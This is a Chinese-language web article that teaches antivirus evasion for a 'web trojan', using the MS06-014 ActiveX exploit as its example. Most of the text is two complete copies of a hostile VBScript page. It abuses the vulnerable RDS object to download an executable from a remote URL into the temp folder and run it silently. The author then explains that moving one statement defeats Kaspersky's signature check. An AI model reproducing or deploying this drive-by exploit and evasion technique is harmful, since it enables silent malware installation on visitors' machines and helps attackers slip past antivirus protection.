本文详细介绍以ms06014为例谈网页木马免杀方法
网马免杀方法一般两种办法,一种是加密(微软自己的encode或者自己写加解密函数效果更好),另一种也是找特征码(字符或顺序)。
有朋友说网马被喀吧杀,不知道所措,现我以ms06014为例,以传小技。原来的代码:
<html>
<script language="VBScript">
on error resume next
dl = "http://www.baidu.com/go.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<head>
<title>Oh,my god!</title>
</head><body>
<center>You DO it!</center>
</body></html>
免杀后:
<html>
<html>
<script language="VBScript">
on error resume next
dl = "http://www.baidu.com/go.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<head>
<title>Oh,my god!</title>
</head><body>
<center>You DO it!</center>
</body></html>大家注意观察,其实我就是将S.open语句移动到fname1= F.BuildPath(tmp,fname1)语句之前就实现了免杀,这正是挫败了喀吧的文件流特征码检测技术。当然,在移动语句的时候,有必要注意语句在代码里的功能,不然会出错的。
责编：豆豆技术应用
- 金山毒霸 2009 杀毒套装 下载 免费 试用
- 金山毒霸 9 互联网安全套装下载
- 巧用“记事本”程序让病毒白白运行
- qq盗号木马变种Trojan-PSW.Win32.QQPass.kht
- jsnndya.exe，gozowzeuisnxd.exe，dkzuimwvx.exe等的清除
- Trojan.DL.Win32.Mnless.ahy(DODOLOOK139.EXE)分析查杀
- Adware.Win32.Agent.nys(mfjdkhk.sys)查杀
- cag1ynw1.com,d32dx9.sys等恶意文件删除解决方案
- wgsfun.dll,456320.exe等cnbeta恶意木马清除解决方案
- ssrcservice.exe,ssrcservice.dll等恶意病毒清除解决方案